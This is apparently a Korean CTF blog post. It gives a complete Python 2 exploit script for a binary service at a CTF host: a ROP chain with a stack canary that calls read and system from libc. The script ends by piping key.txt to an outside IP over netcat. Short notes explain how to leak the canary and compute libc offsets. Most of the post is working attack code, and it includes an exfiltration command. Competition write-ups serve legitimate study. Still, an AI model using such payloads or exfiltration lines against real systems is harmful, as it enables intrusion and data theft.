#!/usr/bin/python
from socket import *
import time
from struct import pack,unpack
p = lambda x: pack("<L",x)
host = "ctfagain.kr"
port = 7001
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
write_plt = 0x080486e0
pppr = 0x08048b2c
read_got = 0x0804b010
read_plt = 0x08048620
system_addr = 0xB7600260
freespace = 0x0804b180
payload =""
payload += "yaaabbbbcc"
payload += "\x00\x5a\x5b\x62"
payload += "ddddeeeebbbb"
payload += p(read_plt)
payload += p(pppr)
payload += p(4)
payload += p(freespace)
payload += p(100)
payload += p(system_addr)
payload += "aaaa"
payload += p(freespace)
payload += "\x00\x00\x00\x00\x00\x00\x00\x00"
print s.recv(5000)
print s.recv(26)
print s.recv(21)
time.sleep(2)
print s.recv(500)
s.send("4\n")
print s.recv(500)
raw_input()
s.send(payload + "\n")
time.sleep(0.5)
s.send("cat key.txt|nc 115.86.51.173 31337\n")
ctfagain.kr 기준으로 풀었습니다. 요건 완성본인데 이걸 돌려주기 전에 먼저 stack canary를 leak 해야되고 아무 got 나 뽑아서 함수 주소를 알아낸 다음에(저 같은 경우는 read 함수)
서버가 ubuntu 13.10이므로 13.10 라이브러리 기준으로 system 함수 offset을 계산해야됩니다.
'CTF' 카테고리의 다른 글
[Layer7 2015] Reverse Me, Easy Rerversing (0) | 2015.09.01 |
---|---|
Codegate 2015 bookstore (0) | 2015.03.17 |
christmas CTF Rudolph (0) | 2015.02.20 |
Codegate 2014 minibomb write-up (5) | 2014.03.09 |
Codegate Junior 2014 Write-up (0) | 2014.03.05 |